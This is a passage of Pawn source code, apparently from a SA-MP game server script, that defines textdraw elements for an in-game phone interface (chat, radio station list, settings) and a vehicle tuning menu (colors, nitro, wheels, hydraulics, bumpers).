		PhoneTest[57] = TextDrawCreate(536.375000, 325.750091, "Clear chat");
		TextDrawLetterSize(PhoneTest[57], 0.168749, 0.923333);
		TextDrawTextSize(PhoneTest[57], 8.125000, 32.083366);
		TextDrawAlignment(PhoneTest[57], 2);
		TextDrawColor(PhoneTest[57], 255);
		TextDrawUseBox(PhoneTest[57], true);
		TextDrawBoxColor(PhoneTest[57], -65281);
		TextDrawSetShadow(PhoneTest[57], 0);
		TextDrawSetOutline(PhoneTest[57], 0);
		TextDrawBackgroundColor(PhoneTest[57], 51);
		TextDrawFont(PhoneTest[57], 1);
		TextDrawSetProportional(PhoneTest[57], 1);
		TextDrawSetSelectable(PhoneTest[57], true);

		PhoneTest[58] = TextDrawCreate(589.375000, 241.499893, "+");
		TextDrawLetterSize(PhoneTest[58], 0.338749, 0.771666);
		TextDrawTextSize(PhoneTest[58], 8.750000, 9.916666);
		TextDrawAlignment(PhoneTest[58], 2);
		TextDrawColor(PhoneTest[58], 255);
		TextDrawUseBox(PhoneTest[58], true);
		TextDrawBoxColor(PhoneTest[58], 16711935);
		TextDrawSetShadow(PhoneTest[58], 0);
		TextDrawSetOutline(PhoneTest[58], 0);
		TextDrawBackgroundColor(PhoneTest[58], 51);
		TextDrawFont(PhoneTest[58], 1);
		TextDrawSetProportional(PhoneTest[58], 1);
		TextDrawSetSelectable(PhoneTest[58], true);

		PhoneTest[59] = TextDrawCreate(589.750000, 255.333221, "+");
		TextDrawLetterSize(PhoneTest[59], 0.338749, 0.771666);
		TextDrawTextSize(PhoneTest[59], 8.750000, 9.916666);
		TextDrawAlignment(PhoneTest[59], 2);
		TextDrawColor(PhoneTest[59], 255);
		TextDrawUseBox(PhoneTest[59], true);
		TextDrawBoxColor(PhoneTest[59], 16711935);
		TextDrawSetShadow(PhoneTest[59], 0);
		TextDrawSetOutline(PhoneTest[59], 0);
		TextDrawBackgroundColor(PhoneTest[59], 51);
		TextDrawFont(PhoneTest[59], 1);
		TextDrawSetProportional(PhoneTest[59], 1);
		TextDrawSetSelectable(PhoneTest[59], true);

		PhoneTest[60] = TextDrawCreate(589.500000, 289.000000, "+");
		TextDrawLetterSize(PhoneTest[60], 0.338749, 0.771666);
		TextDrawTextSize(PhoneTest[60], 8.750000, 9.916666);
		TextDrawAlignment(PhoneTest[60], 2);
		TextDrawColor(PhoneTest[60], 255);
		TextDrawUseBox(PhoneTest[60], true);
		TextDrawBoxColor(PhoneTest[60], 16711935);
		TextDrawSetShadow(PhoneTest[60], 0);
		TextDrawSetOutline(PhoneTest[60], 0);
		TextDrawBackgroundColor(PhoneTest[60], 51);
		TextDrawFont(PhoneTest[60], 1);
		TextDrawSetProportional(PhoneTest[60], 1);
		TextDrawSetSelectable(PhoneTest[60], true);

		PhoneTest[61] = TextDrawCreate(589.875000, 308.083465, "+");
		TextDrawLetterSize(PhoneTest[61], 0.338749, 0.771666);
		TextDrawTextSize(PhoneTest[61], 8.750000, 9.916666);
		TextDrawAlignment(PhoneTest[61], 2);
		TextDrawColor(PhoneTest[61], 255);
		TextDrawUseBox(PhoneTest[61], true);
		TextDrawBoxColor(PhoneTest[61], 16711935);
		TextDrawSetShadow(PhoneTest[61], 0);
		TextDrawSetOutline(PhoneTest[61], 0);
		TextDrawBackgroundColor(PhoneTest[61], 51);
		TextDrawFont(PhoneTest[61], 1);
		TextDrawSetProportional(PhoneTest[61], 1);
		TextDrawSetSelectable(PhoneTest[61], true);

		PhoneTest[62] = TextDrawCreate(524.000000, 309.083465, "-");
		TextDrawLetterSize(PhoneTest[62], 0.338749, 0.771666);
		TextDrawTextSize(PhoneTest[62], 8.750000, 9.916666);
		TextDrawAlignment(PhoneTest[62], 2);
		TextDrawColor(PhoneTest[62], 255);
		TextDrawUseBox(PhoneTest[62], true);
		TextDrawBoxColor(PhoneTest[62], -16776961);
		TextDrawSetShadow(PhoneTest[62], 0);
		TextDrawSetOutline(PhoneTest[62], 0);
		TextDrawBackgroundColor(PhoneTest[62], 51);
		TextDrawFont(PhoneTest[62], 1);
		TextDrawSetProportional(PhoneTest[62], 1);
		TextDrawSetSelectable(PhoneTest[62], true);

		PhoneTest[63] = TextDrawCreate(524.375000, 289.666717, "-");
		TextDrawLetterSize(PhoneTest[63], 0.338749, 0.771666);
		TextDrawTextSize(PhoneTest[63], 8.750000, 9.916666);
		TextDrawAlignment(PhoneTest[63], 2);
		TextDrawColor(PhoneTest[63], 255);
		TextDrawUseBox(PhoneTest[63], true);
		TextDrawBoxColor(PhoneTest[63], -16776961);
		TextDrawSetShadow(PhoneTest[63], 0);
		TextDrawSetOutline(PhoneTest[63], 0);
		TextDrawBackgroundColor(PhoneTest[63], 51);
		TextDrawFont(PhoneTest[63], 1);
		TextDrawSetProportional(PhoneTest[63], 1);
		TextDrawSetSelectable(PhoneTest[63], true);

		PhoneTest[64] = TextDrawCreate(523.500000, 255.083267, "-");
		TextDrawLetterSize(PhoneTest[64], 0.338749, 0.771666);
		TextDrawTextSize(PhoneTest[64], 8.750000, 9.916666);
		TextDrawAlignment(PhoneTest[64], 2);
		TextDrawColor(PhoneTest[64], 255);
		TextDrawUseBox(PhoneTest[64], true);
		TextDrawBoxColor(PhoneTest[64], -16776961);
		TextDrawSetShadow(PhoneTest[64], 0);
		TextDrawSetOutline(PhoneTest[64], 0);
		TextDrawBackgroundColor(PhoneTest[64], 51);
		TextDrawFont(PhoneTest[64], 1);
		TextDrawSetProportional(PhoneTest[64], 1);
		TextDrawSetSelectable(PhoneTest[64], true);

		PhoneTest[65] = TextDrawCreate(523.250000, 240.916595, "-");
		TextDrawLetterSize(PhoneTest[65], 0.338749, 0.771666);
		TextDrawTextSize(PhoneTest[65], 8.750000, 9.916666);
		TextDrawAlignment(PhoneTest[65], 2);
		TextDrawColor(PhoneTest[65], 255);
		TextDrawUseBox(PhoneTest[65], true);
		TextDrawBoxColor(PhoneTest[65], -16776961);
		TextDrawSetShadow(PhoneTest[65], 0);
		TextDrawSetOutline(PhoneTest[65], 0);
		TextDrawBackgroundColor(PhoneTest[65], 51);
		TextDrawFont(PhoneTest[65], 1);
		TextDrawSetProportional(PhoneTest[65], 1);
		TextDrawSetSelectable(PhoneTest[65], true);

		//mp3

		PhoneTest[66] = TextDrawCreate(555.000000, 235.083358, "Radio Javan");
		TextDrawLetterSize(PhoneTest[66], 0.198124, 1.074998);
		TextDrawTextSize(PhoneTest[66], 10.000000, 67.666610);
		TextDrawAlignment(PhoneTest[66], 2);
		TextDrawColor(PhoneTest[66], 255);
		TextDrawUseBox(PhoneTest[66], true);
		TextDrawBoxColor(PhoneTest[66], -65281);
		TextDrawSetShadow(PhoneTest[66], 0);
		TextDrawSetOutline(PhoneTest[66], 0);
		TextDrawBackgroundColor(PhoneTest[66], 51);
		TextDrawFont(PhoneTest[66], 2);
		TextDrawSetProportional(PhoneTest[66], 1);
		TextDrawSetSelectable(PhoneTest[66], true);

		PhoneTest[67] = TextDrawCreate(554.750000, 254.749908, "Radio Party");
		TextDrawLetterSize(PhoneTest[67], 0.198124, 1.074998);
		TextDrawTextSize(PhoneTest[67], 10.000000, 67.666610);
		TextDrawAlignment(PhoneTest[67], 2);
		TextDrawColor(PhoneTest[67], 255);
		TextDrawUseBox(PhoneTest[67], true);
		TextDrawBoxColor(PhoneTest[67], -65281);
		TextDrawSetShadow(PhoneTest[67], 0);
		TextDrawSetOutline(PhoneTest[67], 0);
		TextDrawBackgroundColor(PhoneTest[67], 51);
		TextDrawFont(PhoneTest[67], 2);
		TextDrawSetProportional(PhoneTest[67], 1);
		TextDrawSetSelectable(PhoneTest[67], true);

		PhoneTest[68] = TextDrawCreate(554.500000, 275.000000, "PONdENDS");
		TextDrawLetterSize(PhoneTest[68], 0.198124, 1.074998);
		TextDrawTextSize(PhoneTest[68], 10.000000, 67.666610);
		TextDrawAlignment(PhoneTest[68], 2);
		TextDrawColor(PhoneTest[68], 255);
		TextDrawUseBox(PhoneTest[68], true);
		TextDrawBoxColor(PhoneTest[68], -65281);
		TextDrawSetShadow(PhoneTest[68], 0);
		TextDrawSetOutline(PhoneTest[68], 0);
		TextDrawBackgroundColor(PhoneTest[68], 51);
		TextDrawFont(PhoneTest[68], 2);
		TextDrawSetProportional(PhoneTest[68], 1);
		TextDrawSetSelectable(PhoneTest[68], true);

		PhoneTest[69] = TextDrawCreate(555.500000, 294.083282, "Wild Rock");
		TextDrawLetterSize(PhoneTest[69], 0.198124, 1.074998);
		TextDrawTextSize(PhoneTest[69], 10.000000, 67.666610);
		TextDrawAlignment(PhoneTest[69], 2);
		TextDrawColor(PhoneTest[69], 255);
		TextDrawUseBox(PhoneTest[69], true);
		TextDrawBoxColor(PhoneTest[69], -65281);
		TextDrawSetShadow(PhoneTest[69], 0);
		TextDrawSetOutline(PhoneTest[69], 0);
		TextDrawBackgroundColor(PhoneTest[69], 51);
		TextDrawFont(PhoneTest[69], 2);
		TextDrawSetProportional(PhoneTest[69], 1);
		TextDrawSetSelectable(PhoneTest[69], true);


		PhoneTest[70] = TextDrawCreate(555.250000, 312.583404, "The Beat.NO");
		TextDrawLetterSize(PhoneTest[70], 0.198124, 1.074998);
		TextDrawTextSize(PhoneTest[70], 10.000000, 67.666610);
		TextDrawAlignment(PhoneTest[70], 2);
		TextDrawColor(PhoneTest[70], 255);
		TextDrawUseBox(PhoneTest[70], true);
		TextDrawBoxColor(PhoneTest[70], -65281);
		TextDrawSetShadow(PhoneTest[70], 0);
		TextDrawSetOutline(PhoneTest[70], 0);
		TextDrawBackgroundColor(PhoneTest[70], 51);
		TextDrawFont(PhoneTest[70], 2);
		TextDrawSetProportional(PhoneTest[70], 1);
		TextDrawSetSelectable(PhoneTest[70], true);

		PhoneTest[71] = TextDrawCreate(555.625000, 331.666656, "Radio Farda");
		TextDrawLetterSize(PhoneTest[71], 0.198124, 1.074998);
		TextDrawTextSize(PhoneTest[71], 10.000000, 67.666610);
		TextDrawAlignment(PhoneTest[71], 2);
		TextDrawColor(PhoneTest[71], 255);
		TextDrawUseBox(PhoneTest[71], true);
		TextDrawBoxColor(PhoneTest[71], -65281);
		TextDrawSetShadow(PhoneTest[71], 0);
		TextDrawSetOutline(PhoneTest[71], 0);
		TextDrawBackgroundColor(PhoneTest[71], 51);
		TextDrawFont(PhoneTest[71], 2);
		TextDrawSetProportional(PhoneTest[71], 1);
		TextDrawSetSelectable(PhoneTest[71], true);

		PhoneTest[72] = TextDrawCreate(556.625000, 349.583343, "Turn Off");
		TextDrawLetterSize(PhoneTest[72], 0.198124, 1.074998);
		TextDrawTextSize(PhoneTest[72], 10.000000, 67.666610);
		TextDrawAlignment(PhoneTest[72], 2);
		TextDrawColor(PhoneTest[72], 255);
		TextDrawUseBox(PhoneTest[72], true);
		TextDrawBoxColor(PhoneTest[72], -16776961);
		TextDrawSetShadow(PhoneTest[72], 0);
		TextDrawSetOutline(PhoneTest[72], 0);
		TextDrawBackgroundColor(PhoneTest[72], 51);
		TextDrawFont(PhoneTest[72], 2);
		TextDrawSetProportional(PhoneTest[72], 1);
		TextDrawSetSelectable(PhoneTest[72], true);

		PhoneTest[73] = TextDrawCreate(555.125000, 215.833328, "Radio List");
		TextDrawLetterSize(PhoneTest[73], 0.198124, 1.074998);
		TextDrawTextSize(PhoneTest[73], 10.000000, 67.666610);
		TextDrawAlignment(PhoneTest[73], 2);
		TextDrawColor(PhoneTest[73], -1);
		TextDrawSetShadow(PhoneTest[73], 0);
		TextDrawSetOutline(PhoneTest[73], 0);
		TextDrawBackgroundColor(PhoneTest[73], 51);
		TextDrawFont(PhoneTest[73], 2);
		TextDrawSetProportional(PhoneTest[73], 1);

		PhoneTest[74] = TextDrawCreate(555.625000, 220.500061, "Settings...");
		TextDrawLetterSize(PhoneTest[74], 0.337499, 1.337500);
		TextDrawAlignment(PhoneTest[74], 2);
		TextDrawColor(PhoneTest[74], -1);
		TextDrawUseBox(PhoneTest[74], true);
		TextDrawBoxColor(PhoneTest[74], 0);
		TextDrawSetShadow(PhoneTest[74], 0);
		TextDrawSetOutline(PhoneTest[74], 0);
		TextDrawBackgroundColor(PhoneTest[74], 51);
		TextDrawFont(PhoneTest[74], 2);
		TextDrawSetProportional(PhoneTest[74], 1);


		PhoneTest[75] = TextDrawCreate(556.625000, 233.166625, "26/02/2018");
		TextDrawLetterSize(PhoneTest[75], 0.156248, 1.057499);
		TextDrawAlignment(PhoneTest[75], 2);
		TextDrawColor(PhoneTest[75], -1);
		TextDrawUseBox(PhoneTest[75], true);
		TextDrawBoxColor(PhoneTest[75], 0);
		TextDrawSetShadow(PhoneTest[75], 0);
		TextDrawSetOutline(PhoneTest[75], 0);
		TextDrawBackgroundColor(PhoneTest[75], 51);
		TextDrawFont(PhoneTest[75], 2);
		TextDrawSetProportional(PhoneTest[75], 1);


		PhoneTest[43] = TextDrawCreate(547.875000, 269.916687, "Try");
		TextDrawLetterSize(PhoneTest[43], 0.379999, 1.092499);
		TextDrawTextSize(PhoneTest[43], 10.000000, 18.083337);
		TextDrawAlignment(PhoneTest[43], 2);
		TextDrawColor(PhoneTest[43], 255);
		TextDrawUseBox(PhoneTest[43], true);
		TextDrawBoxColor(PhoneTest[43], -1378294017);
		TextDrawSetShadow(PhoneTest[43], 0);
		TextDrawSetOutline(PhoneTest[43], 0);
		TextDrawBackgroundColor(PhoneTest[43], 51);
		TextDrawFont(PhoneTest[43], 1);
		TextDrawSetProportional(PhoneTest[43], 1);
		TextDrawSetSelectable(PhoneTest[43], true);

		PhoneTest[42] = TextDrawCreate(529.375000, 251.416839, "Lower");
		TextDrawLetterSize(PhoneTest[42], 0.148124, 0.725000);
		TextDrawAlignment(PhoneTest[42], 2);
		TextDrawColor(PhoneTest[42], -65281);
		TextDrawSetShadow(PhoneTest[42], 0);
		TextDrawSetOutline(PhoneTest[42], 0);
		TextDrawBackgroundColor(PhoneTest[42], 51);
		TextDrawFont(PhoneTest[42], 1);
		TextDrawSetProportional(PhoneTest[42], 1);

		PhoneTest[50] = TextDrawCreate(530.375000, 252.416900, "Higher");
		TextDrawLetterSize(PhoneTest[50], 0.148124, 0.725000);
		TextDrawAlignment(PhoneTest[50], 2);
		TextDrawColor(PhoneTest[50], -65281);
		TextDrawUseBox(PhoneTest[50], true);
		TextDrawBoxColor(PhoneTest[50], 0);
		TextDrawSetShadow(PhoneTest[50], 0);
		TextDrawSetOutline(PhoneTest[50], 0);
		TextDrawBackgroundColor(PhoneTest[50], 51);
		TextDrawFont(PhoneTest[50], 0);
		TextDrawSetProportional(PhoneTest[50], 1);

		PhoneTest[49] = TextDrawCreate(578.000000, 325.583435, "name tag");
		TextDrawLetterSize(PhoneTest[49], 0.168749, 0.923333);
		TextDrawTextSize(PhoneTest[49], 8.125000, 32.083366);
		TextDrawAlignment(PhoneTest[49], 2);
		TextDrawColor(PhoneTest[49], 255);
		TextDrawUseBox(PhoneTest[49], true);
		TextDrawBoxColor(PhoneTest[49], -65281);
		TextDrawSetShadow(PhoneTest[49], 0);
		TextDrawSetOutline(PhoneTest[49], 0);
		TextDrawBackgroundColor(PhoneTest[49], 51);
		TextDrawFont(PhoneTest[49], 1);
		TextDrawSetProportional(PhoneTest[49], 1);
		TextDrawSetSelectable(PhoneTest[49], true);

    	PhoneTest[76] = TextDrawCreate(572.875000, 253.583419, "iconhack");
		TextDrawLetterSize(PhoneTest[76], 0.449999, 1.600000);
		TextDrawTextSize(PhoneTest[76], 22.500000, 22.750015);
		TextDrawAlignment(PhoneTest[76], 2);
		TextDrawColor(PhoneTest[76], -1);
		TextDrawUseBox(PhoneTest[76], true);
		TextDrawBoxColor(PhoneTest[76], 0);
		TextDrawSetShadow(PhoneTest[76], 0);
		TextDrawSetOutline(PhoneTest[76], 717);
		TextDrawBackgroundColor(PhoneTest[76], 16711935);
		TextDrawFont(PhoneTest[76], 5);
		TextDrawSetSelectable(PhoneTest[76], true);
		TextDrawSetPreviewModel(PhoneTest[76], 19305);
		TextDrawSetPreviewRot(PhoneTest[76], 0.000000, 0.000000, 180.000000, 1.000000);

		PhoneTest[77] = TextDrawCreate(580.500000, 274.749816, "Charge");
		TextDrawLetterSize(PhoneTest[77], 0.215625, 0.899999);
		TextDrawAlignment(PhoneTest[77], 2);
		TextDrawColor(PhoneTest[77], -5963521);
		TextDrawSetShadow(PhoneTest[77], 0);
		TextDrawSetOutline(PhoneTest[77], 0);
		TextDrawBackgroundColor(PhoneTest[77], 51);
		TextDrawFont(PhoneTest[77], 1);
		TextDrawSetProportional(PhoneTest[77], 1);

        PhoneTest[78] = TextDrawCreate(583.750000, 274.749969, "Charge");
		TextDrawLetterSize(PhoneTest[78], 0.181249, 0.958333);
		TextDrawTextSize(PhoneTest[78], 10.000000, 18.083337);
		TextDrawAlignment(PhoneTest[78], 2);
		TextDrawColor(PhoneTest[78], -1);
		TextDrawUseBox(PhoneTest[78], true);
		TextDrawBoxColor(PhoneTest[78], -2147483393);
		TextDrawSetShadow(PhoneTest[78], 0);
		TextDrawSetOutline(PhoneTest[78], 0);
		TextDrawBackgroundColor(PhoneTest[78], 51);
		TextDrawFont(PhoneTest[78], 1);
		TextDrawSetProportional(PhoneTest[78], 1);
		TextDrawSetSelectable(PhoneTest[78], true);
		
		
TuningTD4[0] = TextDrawCreate(38.750000, 139.833374, "Car Stereo");
TextDrawLetterSize(TuningTD4[0], 0.400000, 1.600000);
TextDrawAlignment(TuningTD4[0], 1);
TextDrawColor(TuningTD4[0], -1);
TextDrawSetShadow(TuningTD4[0], 0);
TextDrawSetOutline(TuningTD4[0], 0);
TextDrawBackgroundColor(TuningTD4[0], 255);
TextDrawFont(TuningTD4[0], 1);
TextDrawSetProportional(TuningTD4[0], 1);
TextDrawSetShadow(TuningTD4[0], 0);
TextDrawTextSize(TuningTD4[0], 104.000000, 15.000000);
TextDrawSetSelectable(TuningTD4[0], true);

TuningTD3[0] = TextDrawCreate(38.750000, 139.833374, "Paint_Jobs");
TextDrawLetterSize(TuningTD3[0], 0.400000, 1.600000);
TextDrawAlignment(TuningTD3[0], 1);
TextDrawColor(TuningTD3[0], -1);
TextDrawSetShadow(TuningTD3[0], 0);
TextDrawSetOutline(TuningTD3[0], 0);
TextDrawBackgroundColor(TuningTD3[0], 255);
TextDrawFont(TuningTD3[0], 1);
TextDrawSetProportional(TuningTD3[0], 1);
TextDrawSetShadow(TuningTD3[0], 0);
TextDrawTextSize(TuningTD3[0], 104.000000, 15.000000);
TextDrawSetSelectable(TuningTD3[0], true);

TuningTDKM[0] = TextDrawCreate(30.625000, 108.916656, "box");
TextDrawLetterSize(TuningTDKM[0], 0.000000, 2.000000);
TextDrawTextSize(TuningTDKM[0], 174.000000, 0.000000);
TextDrawAlignment(TuningTDKM[0], 1);
TextDrawColor(TuningTDKM[0], -1);
TextDrawUseBox(TuningTDKM[0], 1);
TextDrawBoxColor(TuningTDKM[0], -16777046);
TextDrawSetShadow(TuningTDKM[0], 0);
TextDrawSetOutline(TuningTDKM[0], 0);
TextDrawBackgroundColor(TuningTDKM[0], 255);
TextDrawFont(TuningTDKM[0], 1);
TextDrawSetProportional(TuningTDKM[0], 1);
TextDrawSetShadow(TuningTDKM[0], 0);

TuningTDKM[1] = TextDrawCreate(30.625000, 131.083419, "box");
TextDrawLetterSize(TuningTDKM[1], 0.000000, 5.562500);
TextDrawTextSize(TuningTDKM[1], 174.000000, 0.000000);
TextDrawAlignment(TuningTDKM[1], 1);
TextDrawColor(TuningTDKM[1], -1);
TextDrawUseBox(TuningTDKM[1], 1);
TextDrawBoxColor(TuningTDKM[1], 170);
TextDrawSetShadow(TuningTDKM[1], 0);
TextDrawSetOutline(TuningTDKM[1], 0);
TextDrawBackgroundColor(TuningTDKM[1], 255);
TextDrawFont(TuningTDKM[1], 1);
TextDrawSetProportional(TuningTDKM[1], 1);
TextDrawSetShadow(TuningTDKM[1], 0);

TuningTDKM[2] = TextDrawCreate(29.375000, 104.833358, "Tuning");
TextDrawLetterSize(TuningTDKM[2], 1.354375, 2.399166);
TextDrawAlignment(TuningTDKM[2], 1);
TextDrawColor(TuningTDKM[2], -1);
TextDrawSetShadow(TuningTDKM[2], 0);
TextDrawSetOutline(TuningTDKM[2], 0);
TextDrawBackgroundColor(TuningTDKM[2], 255);
TextDrawFont(TuningTDKM[2], 3);
TextDrawSetProportional(TuningTDKM[2], 1);
TextDrawSetShadow(TuningTDKM[2], 0);

TuningTDKM[3] = TextDrawCreate(35.625000, 141.000030, "box");
TextDrawLetterSize(TuningTDKM[3], 0.000000, 2.187500);
TextDrawTextSize(TuningTDKM[3], 111.000000, 0.000000);
TextDrawAlignment(TuningTDKM[3], 1);
TextDrawColor(TuningTDKM[3], -1);
TextDrawUseBox(TuningTDKM[3], 1);
TextDrawBoxColor(TuningTDKM[3], 255);
TextDrawSetShadow(TuningTDKM[3], 0);
TextDrawSetOutline(TuningTDKM[3], 0);
TextDrawBackgroundColor(TuningTDKM[3], 255);
TextDrawFont(TuningTDKM[3], 1);
TextDrawSetProportional(TuningTDKM[3], 1);
TextDrawSetShadow(TuningTDKM[3], 0);

TuningTDKM[4] = TextDrawCreate(38.750000, 139.833374, "Exhausts");
TextDrawLetterSize(TuningTDKM[4], 0.400000, 1.600000);
TextDrawAlignment(TuningTDKM[4], 1);
TextDrawColor(TuningTDKM[4], -1);
TextDrawSetShadow(TuningTDKM[4], 0);
TextDrawSetOutline(TuningTDKM[4], 0);
TextDrawBackgroundColor(TuningTDKM[4], 255);
TextDrawFont(TuningTDKM[4], 1);
TextDrawSetProportional(TuningTDKM[4], 1);
TextDrawSetShadow(TuningTDKM[4], 0);
TextDrawTextSize(TuningTDKM[4], 104.000000, 15.000000);
TextDrawSetSelectable(TuningTDKM[4], true);



		
TuningTD[0] = TextDrawCreate(30.625000, 108.916656, "box");
TextDrawLetterSize(TuningTD[0], 0.000000, 2.000000);
TextDrawTextSize(TuningTD[0], 174.000000, 0.000000);
TextDrawAlignment(TuningTD[0], 1);
TextDrawColor(TuningTD[0], -1);
TextDrawUseBox(TuningTD[0], 1);
TextDrawBoxColor(TuningTD[0], -16777046);
TextDrawSetShadow(TuningTD[0], 0);
TextDrawSetOutline(TuningTD[0], 0);
TextDrawBackgroundColor(TuningTD[0], 255);
TextDrawFont(TuningTD[0], 1);
TextDrawSetProportional(TuningTD[0], 1);
TextDrawSetShadow(TuningTD[0], 0);

TuningTD[1] = TextDrawCreate(30.625000, 131.083419, "box");
TextDrawLetterSize(TuningTD[1], 0.000000, 13.437500);
TextDrawTextSize(TuningTD[1], 174.000000, 0.000000);
TextDrawAlignment(TuningTD[1], 1);
TextDrawColor(TuningTD[1], -1);
TextDrawUseBox(TuningTD[1], 1);
TextDrawBoxColor(TuningTD[1], 170);
TextDrawSetShadow(TuningTD[1], 0);
TextDrawSetOutline(TuningTD[1], 0);
TextDrawBackgroundColor(TuningTD[1], 255);
TextDrawFont(TuningTD[1], 1);
TextDrawSetProportional(TuningTD[1], 1);
TextDrawSetShadow(TuningTD[1], 0);

TuningTD[2] = TextDrawCreate(29.375000, 104.833358, "Tuning");
TextDrawLetterSize(TuningTD[2], 1.354375, 2.399166);
TextDrawAlignment(TuningTD[2], 1);
TextDrawColor(TuningTD[2], -1);
TextDrawSetShadow(TuningTD[2], 0);
TextDrawSetOutline(TuningTD[2], 0);
TextDrawBackgroundColor(TuningTD[2], 255);
TextDrawFont(TuningTD[2], 3);
TextDrawSetProportional(TuningTD[2], 1);
TextDrawSetShadow(TuningTD[2], 0);

TuningTD[3] = TextDrawCreate(35.625000, 141.000030, "box");
TextDrawLetterSize(TuningTD[3], 0.000000, 1.687500);
TextDrawTextSize(TuningTD[3], 104.000000, 0.000000);
TextDrawAlignment(TuningTD[3], 1);
TextDrawColor(TuningTD[3], -1);
TextDrawUseBox(TuningTD[3], 1);
TextDrawBoxColor(TuningTD[3], 255);
TextDrawSetShadow(TuningTD[3], 0);
TextDrawSetOutline(TuningTD[3], 0);
TextDrawBackgroundColor(TuningTD[3], 255);
TextDrawFont(TuningTD[3], 1);
TextDrawSetProportional(TuningTD[3], 1);
TextDrawSetShadow(TuningTD[3], 0);

TuningTD[4] = TextDrawCreate(38.750000, 139.833374, "Colors");
TextDrawLetterSize(TuningTD[4], 0.400000, 1.600000);
TextDrawAlignment(TuningTD[4], 1);
TextDrawColor(TuningTD[4], -1);
TextDrawSetShadow(TuningTD[4], 0);
TextDrawSetOutline(TuningTD[4], 0);
TextDrawBackgroundColor(TuningTD[4], 255);
TextDrawFont(TuningTD[4], 1);
TextDrawSetProportional(TuningTD[4], 1);
TextDrawSetShadow(TuningTD[4], 0);
TextDrawTextSize(TuningTD[4], 104.000000, 15.000000);
TextDrawSetSelectable(TuningTD[4], true);

TuningTD[5] = TextDrawCreate(35.625000, 165.499969, "box");
TextDrawLetterSize(TuningTD[5], 0.000000, 1.687500);
TextDrawTextSize(TuningTD[5], 104.000000, 0.000000);
TextDrawAlignment(TuningTD[5], 1);
TextDrawColor(TuningTD[5], -1);
TextDrawUseBox(TuningTD[5], 1);
TextDrawBoxColor(TuningTD[5], 255);
TextDrawSetShadow(TuningTD[5], 0);
TextDrawSetOutline(TuningTD[5], 0);
TextDrawBackgroundColor(TuningTD[5], 255);
TextDrawFont(TuningTD[5], 1);
TextDrawSetProportional(TuningTD[5], 1);
TextDrawSetShadow(TuningTD[5], 0);

TuningTD[6] = TextDrawCreate(40.000000, 165.500076, "Nitro");
TextDrawLetterSize(TuningTD[6], 0.400000, 1.600000);
TextDrawAlignment(TuningTD[6], 1);
TextDrawColor(TuningTD[6], -1);
TextDrawSetShadow(TuningTD[6], 0);
TextDrawSetOutline(TuningTD[6], 0);
TextDrawBackgroundColor(TuningTD[6], 255);
TextDrawFont(TuningTD[6], 1);
TextDrawSetProportional(TuningTD[6], 1);
TextDrawSetShadow(TuningTD[6], 0);
TextDrawTextSize(TuningTD[6], 104.000000, 15.000000);
TextDrawSetSelectable(TuningTD[6], true);

TuningTD[7] = TextDrawCreate(35.625000, 190.583175, "box");
TextDrawLetterSize(TuningTD[7], 0.000000, 1.687500);
TextDrawTextSize(TuningTD[7], 105.000000, 0.000000);
TextDrawAlignment(TuningTD[7], 1);
TextDrawColor(TuningTD[7], -1);
TextDrawUseBox(TuningTD[7], 1);
TextDrawBoxColor(TuningTD[7], 255);
TextDrawSetShadow(TuningTD[7], 0);
TextDrawSetOutline(TuningTD[7], 0);
TextDrawBackgroundColor(TuningTD[7], 255);
TextDrawFont(TuningTD[7], 1);
TextDrawSetProportional(TuningTD[7], 1);
TextDrawSetShadow(TuningTD[7], 0);

TuningTD[8] = TextDrawCreate(40.000000, 190.583328, "Wheel");
TextDrawLetterSize(TuningTD[8], 0.400000, 1.600000);
TextDrawAlignment(TuningTD[8], 1);
TextDrawColor(TuningTD[8], -1);
TextDrawSetShadow(TuningTD[8], 0);
TextDrawSetOutline(TuningTD[8], 0);
TextDrawBackgroundColor(TuningTD[8], 255);
TextDrawFont(TuningTD[8], 1);
TextDrawSetProportional(TuningTD[8], 1);
TextDrawSetShadow(TuningTD[8], 0);
TextDrawTextSize(TuningTD[8], 105.000000, 15.000000);
TextDrawSetSelectable(TuningTD[8], true);

TuningTD[9] = TextDrawCreate(36.250000, 215.666549, "box");
TextDrawLetterSize(TuningTD[9], 0.000000, 1.687500);
TextDrawTextSize(TuningTD[9], 106.000000, 0.000000);
TextDrawAlignment(TuningTD[9], 1);
TextDrawColor(TuningTD[9], -1);
TextDrawUseBox(TuningTD[9], 1);
TextDrawBoxColor(TuningTD[9], 255);
TextDrawSetShadow(TuningTD[9], 0);
TextDrawSetOutline(TuningTD[9], 0);
TextDrawBackgroundColor(TuningTD[9], 255);
TextDrawFont(TuningTD[9], 1);
TextDrawSetProportional(TuningTD[9], 1);
TextDrawSetShadow(TuningTD[9], 0);

TuningTD[10] = TextDrawCreate(39.375000, 214.500015, "Hydraulics");
TextDrawLetterSize(TuningTD[10], 0.400000, 1.600000);
TextDrawAlignment(TuningTD[10], 1);
TextDrawColor(TuningTD[10], -1);
TextDrawSetShadow(TuningTD[10], 0);
TextDrawSetOutline(TuningTD[10], 0);
TextDrawBackgroundColor(TuningTD[10], 255);
TextDrawFont(TuningTD[10], 1);
TextDrawSetProportional(TuningTD[10], 1);
TextDrawSetShadow(TuningTD[10], 0);
TextDrawTextSize(TuningTD[10], 106.000000, 15.000000);
TextDrawSetSelectable(TuningTD[10], true);
		
TuningTD2[0] = TextDrawCreate(38.750000, 139.833374, "Roof");
TextDrawLetterSize(TuningTD2[0], 0.400000, 1.600000);
TextDrawAlignment(TuningTD2[0], 1);
TextDrawColor(TuningTD2[0], -1);
TextDrawSetShadow(TuningTD2[0], 0);
TextDrawSetOutline(TuningTD2[0], 0);
TextDrawBackgroundColor(TuningTD2[0], 255);
TextDrawFont(TuningTD2[0], 1);
TextDrawSetProportional(TuningTD2[0], 1);
TextDrawSetShadow(TuningTD2[0], 0);
TextDrawTextSize(TuningTD2[0], 104.000000, 15.000000);
TextDrawSetSelectable(TuningTD2[0], true);


TuningTD2[1] = TextDrawCreate(35.000000, 164.333419, "Front Bumper");
TextDrawLetterSize(TuningTD2[1], 0.314999, 1.588333);
TextDrawAlignment(TuningTD2[1], 1);
TextDrawColor(TuningTD2[1], -1);
TextDrawSetShadow(TuningTD2[1], 0);
TextDrawSetOutline(TuningTD2[1], 0);
TextDrawBackgroundColor(TuningTD2[1], 255);
TextDrawFont(TuningTD2[1], 1);
TextDrawSetProportional(TuningTD2[1], 1);
TextDrawSetShadow(TuningTD2[1], 0);
TextDrawTextSize(TuningTD2[1], 104.000000, 15.000000);
TextDrawSetSelectable(TuningTD2[1], true);


TuningTD2[2] = TextDrawCreate(36.250000, 188.833343, "Rear Bumper");
